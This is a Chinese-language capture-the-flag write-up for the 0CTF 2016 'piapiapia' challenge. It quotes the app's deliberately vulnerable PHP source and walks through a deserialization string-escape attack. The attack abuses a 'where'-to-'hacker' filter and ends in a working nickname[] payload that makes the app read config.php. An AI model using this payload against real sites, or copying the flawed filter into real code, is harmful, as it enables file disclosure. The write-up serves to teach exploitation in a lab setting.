BUU [0CTF 2016]piapiapia
进去之后是个登录界面,抓包有一个cookie。感觉是十六进制,但是其实不是这样做,是应该扫描的。
buu什么都扫不出来,直接看源码。
/register.php是个注册界面,先注册一个账号。然后补充信息,啥都没有哈哈哈哈。
/www.zip访问一下,获得源码。
先看看哈,有用的如下:
<?php require_once('class.php'); if($_SESSION['username']) { header('Location: profile.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) //长度限制用数组绕过 die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else { ?>
//config.php <?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; //服务器里面这个是有值的。 ?>
//profile.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); //profile.php 此处从数据库中取出序列化的$profile $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); //利用这个读取文件 ?>
//update.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { //update.php里对传入的变量做了简单的检查 $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; //photo不好改,nickname传东西使photo逃逸 $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?> //update.php此处的serialize($profile)将会存入数据库
//class.php <?php require('config.php'); class user extends mysql{ private $table = 'users'; public function is_exists($username) { $username = parent::filter($username); //在这里进行了替换,那不就可以反序列化字符串逃逸了 $where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } } class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
思路:update.php中有一个¥ profile数组变量,这个数组里有 ¥phone, ¥email, ¥nickname, ¥photo几个变量,序列化后以profile字段存入数据库,而我们如果能控制photo变量为"config.php",则能在访问profile.php时获得base64编码之后的config.php源码。
知识点:反序列化字符串逃逸。
只有where——>hacker多了一个字符串
正常我反序列化一个字符串
a:4:
{s:5:“phone”;s:11:“15990231470”;s:5:“email”;s:17:“3539306573@qq.com”;s:8:“nickname”;s:3:"jay
";s:5:“photo”;s:39:“upload/f3b94e88bd1bd325af6f62828c8785dd”;}
如果我把jay(nickname)改成";}s:5:“photo”;s:10:“config.php”;} //长度34,注意s前面的花括号,是个坑点。
变成
a:4:
{s:5:“phone”;s:11:“15990231470”;s:5:“email”;s:17:“3539306573@qq.com”;s:8:“nickname”;s:34:“”;}s:5:“photo”;s:10:“config.php”;}
";s:5:“photo”;s:39:“upload/f3b94e88bd1bd325af6f62828c8785dd”;}
字符串长度多少,替换几次
坑点
提交的时候 需要将nickname转换为数组进行提交,我where33次,提交多次都都还是读取不到,报Warning: file_get_contents(): Filename cannot be empty in /var/www/html/profile.php on line 16,看了他们的payload后,发现在ncikname的s前面有 } 闭合,我就很纳闷,我平时序列化都是末尾才会有这个括号,后来经过验证,只要是数组,都会单独有个闭合。
payload: phone=15990231470 email=3539306573@qq.com nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
改包发包,然后在profile.php页面ctrl+r看源码。
base64解码得到flag